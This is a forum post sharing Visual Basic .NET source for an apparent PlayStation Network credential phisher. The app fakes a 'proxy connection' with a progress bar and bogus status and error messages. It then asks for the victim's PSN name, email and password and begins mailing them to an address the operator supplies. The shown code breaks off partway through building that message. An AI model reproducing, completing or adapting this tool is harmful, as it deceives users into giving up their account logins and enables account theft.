Originally posted by 123tonka

Simple, just give us the source code... or at least screen snap a segment! Then you will be thanked! =D

    Imports System.Net.Mail

Public Class Form1



    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load



    End Sub



    Private Sub ToolStripButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton1.Click

        ToolStripProgressBar1.Value = 0

        Timer1.Start()

        ToolStripProgressBar1.Visible = True

        ToolStripStatusLabel1.Text = "Connection Being Established Please Wait"

    End Sub



    Private Sub ToolStripButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripButton2.Click

        ToolStripButton1.Visible = True

        ToolStripButton2.Visible = False

        ToolStripProgressBar1.Visible = False

        ToolStripStatusLabel1.Text = "Connection Error 8-71A9E"

        Button1.Enabled = False

    End Sub



    Private Sub ToolStripStatusLabel1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripStatusLabel1.Click



    End Sub



    Private Sub ToolStripButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)



    End Sub



    Private Sub ToolStripProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ToolStripProgressBar1.Click



    End Sub



    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        ToolStripProgressBar1.Increment(1)

        If ToolStripProgressBar1.Value = ToolStripProgressBar1.Maximum Then

            ToolStripStatusLabel1.Text = "Proxy Connection Established"

            ToolStripProgressBar1.Visible = False

            ToolStripButton1.Visible = False

            ToolStripButton2.Visible = True

            Button1.Enabled = True

            Timer1.Stop()

        End If

    End Sub



    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged



    End Sub



    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged



    End Sub



    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged



    End Sub



    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        If TextBox2.Text = "" Or TextBox3.Text = "" Or TextBox1.Text = "" Or TextBox2.Text = "Type Email Adress Associated With Your PSN Here" Or TextBox3.Text = "Type Password To Your PSN Here - Required For App To Work" Or TextBox1.Text = "Type Playstation Name Here" Then

            MsgBox("An Error Occured, Please verify that your PSN, Email, and or Password is correct!", MsgBoxStyle.Critical, "Send Failed")

        Else

            Try

                Dim message As New MailMessage

                Dim smtp As New SmtpClient

                message.To.Add(TextBox4.Text)